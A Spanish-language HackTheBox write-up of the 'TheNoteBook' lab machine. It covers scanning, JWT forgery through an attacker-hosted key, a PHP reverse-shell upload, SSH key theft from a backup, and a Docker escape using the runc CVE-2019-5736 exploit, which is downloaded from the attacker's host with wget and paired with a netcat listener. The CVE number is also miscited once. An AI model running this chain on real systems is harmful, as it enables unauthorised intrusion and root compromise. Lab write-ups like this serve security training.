HackTheBox - TheNoteBook
TheNoteBook Write HTB
Pasos
1-> Escaneo de la ip con nmap
2-> Fuzzeo de la web
3-> Registro y login usuario
4-> Tratamiento de la cookie
5-> Creacion de una llave privada
6-> Acceder al Admin
7-> Shell Upload
8-> Descargar Backup
9-> Escalar privilegios
10-> Escapar del contenedor
IP_Machine: 10.10.10.230
Escaneo de la ip con nmap
nmap -sSV –min-rate 3000 –open -n -Pn 10.10.10.230
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-09 13:24 CET
Nmap scan report for 10.10.10.230
Host is up (0.20s latency).
Not shown: 979 closed ports, 19 filtered ports
Some closed ports may be reported as filtered due to –defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Agreguemos la IP(10.10.10.230
) al /etc/hosts
Ya puestos en el navegador accederemos a thenotebook.htb pues el puerto 80 esta abierto
Fuzzeo de la web
gobuster dir -u http://thenotebook.htb/ -w /usr/share/wordlists/dirb/common.txt -x .asp,.txt,.aspx,.php,.html -t 60
Fuzzeando la web nos encontramos con un panel de admin
https://thenotebook.htb/admin Code:403
Registro y login usuario
Fijense en la pantalla de bienvenida:
Welcome back para que una web nos muestre esto, de alguna u otra manera el servidor debe tener una flag en la peticion que nos reconozca el usuario.En este caso es una cookie de sesion.
Interceptaremos la peticion de la pestana Notes con burpsuite
Decodificando la cookie en base64
1: La variable
typ
hace referencia al tipo de token en este caso JWT(Json Web Token)
2: El parametrokid
hace referencia a una llave privada
3: El algoritmo de la llave privada esRS256
4: En el payload hay una flag,admin_cap
:0
Creacion de una llave privada
Creamos una llave privada y levantamos un servidor en python en la misma carpeta:
ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
python -m SimpleHTTPServer
Tratamiento de la cookie
Abrimos la web https://jwt.io y copiamos la cookie
Modificamos las flags
Copiamos la llave privada generada anteriormente al apartado PriveteKey
Nos copiamos el JWT en el apartado de la derecha
Acceder al Admin
Nota: Estar logueado para hacer lo siguiente
Reemplazar la cookie por la genereda en la web https://jwt.io
Accedemos a la url http://thenotebook.htb/admin
**Estamos dentro**
Con la extension **Cookie Editor** del navegador web nos copiaremos el **JWT** generado por la web https://jwt.io
Shell upload
- Nota: Fijense en esta nota encontrada en el panel de admin
Entendemos que regularmente se hacen bakcups
del sistema
Subimos una reverse_shell.php con un netcat a la escucha
y listo estamos dentro
Descargar Backup
Indagando un poco en el sistema nos encontramos en el directorio /var/backups un archivo llamado home.tar.gz
Desde el usario noah nos crearemos un servidor:
python3 -m http.server
Para luego desde nuestra maquina descargarnoslo.
Descomprimiendo el home.tar.gz
y mediante la consola con un ls -la nos damos cuenta que oculta una carpeta .ssh con el id_rsa
ssh -i id_rsa noah@10.10.10.230
Flag user.txt se encuentra en /home/noah/user.txt
Escalar privilegios
Imprimiendo sudo -l vemos que podemos utilizar docker exec como `root`
docker –version
Fijense en la version de docker y busquen exploit para elevar privilegios
sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
Escapar del contenedor
Eventualmente buscando en la web damos con la vulnerabilidad CVE-2019-5367
https://github.com/feexd/pocs/tree/master/CVE-2019-5736
Nos descargamos el exploit y configuramos el payload.c
.Luego compilamos con el comando.
make
Pondremos una shell de netcat a la escucha:
nc -nlvp 4555
Y listo corremos un servidor de python en nuestra maquina para descargar el exploit en la maquina victima.
python3 -m http.server
Con el binario wget nos lo descargamos y otorgamos permisos de ejecucion:
wget -r http://your_ip:8000/exploit
Nota: Para que el exploit nos funcione antes de ejecutar el
pwn.sh
abra una segundo terminal y conectece nuevamente por ssh al usario noah
Inmediatamente despues de haber ejecutado el exploit vaya a la
terminal abierta recientemente y ejecute:
sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
We are Root
Flag root.txt = cat root/root.txt
- Happy Hacking!